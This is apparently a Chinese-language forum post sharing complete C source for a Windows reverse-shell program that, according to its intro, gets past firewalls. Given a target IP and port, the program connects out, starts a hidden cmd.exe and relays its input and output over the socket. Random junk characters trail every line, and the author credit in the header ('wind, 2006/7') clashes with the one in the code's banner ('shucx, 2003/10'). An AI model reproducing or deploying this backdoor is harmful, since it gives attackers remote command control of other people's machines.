这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 z$]HZ#aRE
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/* ============================== @FLa i
Rebound port in Windows NT ];U}'&
By wind,2006/7
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===============================*/ ) mG
#include -Izc-W
#include Xhk_h2F[
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#pragma comment(lib,"wsock32.lib") _usi~m
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void OutputShell(); j"J[dlm2M
SOCKET sClient; ^BN?iXQhN
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; K[Ao_v2g
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void main(int argc,char **argv) <pp<%~_Z
{ X)^&5;\`
WSADATA stWsaData; .4cOMiG
int nRet; MU#$tXmnC
SOCKADDR_IN stSaiClient,stSaiServer; \+I+Lrj%
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if(argc != 3) $8t\|O3
{ ?YA5g' l
printf("Useage:\n\rRebound DestIP DestPort\n"); PTf.(B"z
return; kFZjMchm A
} zrazFI0G
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WSAStartup(MAKEWORD(2,2),&stWsaData); \*x=q20
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); uJ_"gPO
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stSaiClient.sin_family = AF_INET; 1Zi(5S)
stSaiClient.sin_port = htons(0); (Gp|K6
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 6(
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 99mo]1_
{ @uzzyp r>
printf("Bind Socket Failed!\n"); ;=oGg%@aP
return; KRN{Ath.
} 2Hj;o
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stSaiServer.sin_family = AF_INET; 1u\kxlZ
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); v>]^wH>/"
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); N \Wd0b
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ypA)G /;
{ (g
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printf("Connect Error!"); /&Vgo~.J
return; a"|\n_
} u*C"d1v=
OutputShell(); [ Cu3D
} AQe~F
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void OutputShell()
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{ /*2sg>e'QF
char szBuff[1024]; cQ<* (KU
SECURITY_ATTRIBUTES stSecurityAttributes; Xy'qgK?
OSVERSIONINFO stOsversionInfo; \y*,N^w u
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; e) x;3r"j
STARTUPINFO stStartupInfo; jpW(w($XL
char *szShell; ZPolE_P7
PROCESS_INFORMATION stProcessInformation; JJn+H&[B
unsigned long lBytesRead; }5qjGD
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); dtT2h>h9
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); q*kieqG
stSecurityAttributes.lpSecurityDescriptor = 0; sJ(q.FRM'
stSecurityAttributes.bInheritHandle = TRUE; A[.5Bi
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); fqgm`4>
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); %M_5C4&6
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 05>xQx?"m4
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; FII>6c
stStartupInfo.wShowWindow = SW_HIDE; R.+yVO2
stStartupInfo.hStdInput = hReadPipe; *;I F^u1
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; >RMp`HxDf
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GetVersionEx(&stOsversionInfo); / Dn
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switch(stOsversionInfo.dwPlatformId) l.wf= /
{ 4{1.[##]o
case 1: ;PrL)!
szShell = "command.com"; ^"N sb &
break; 1q[vNP=g&
default: koizk&)
szShell = "cmd.exe"; W%k0_Y/5
break; 2r]!$ hto
} rLm:qu(F1
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ,UD,)ZPf[
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send(sClient,szMsg,77,0); yv!,iK9
while(1) =>7\s}QZ
{ bC mhlSNi
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); VC6S4FU4K
if(lBytesRead) @$( /6]4p
{ +y Yv"J
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); sa71Vh{
send(sClient,szBuff,lBytesRead,0); =k(~PB^>
} W2a9P_
else XU}sbbwu
{ ]GS@ ub
lBytesRead=recv(sClient,szBuff,1024,0); .2jG~_W[
if(lBytesRead<=0) break; K)!?np{km
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); #^bkM)pc
} [@qUQ,Ie
} bh8IF,@a
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return; Odo"S;)
}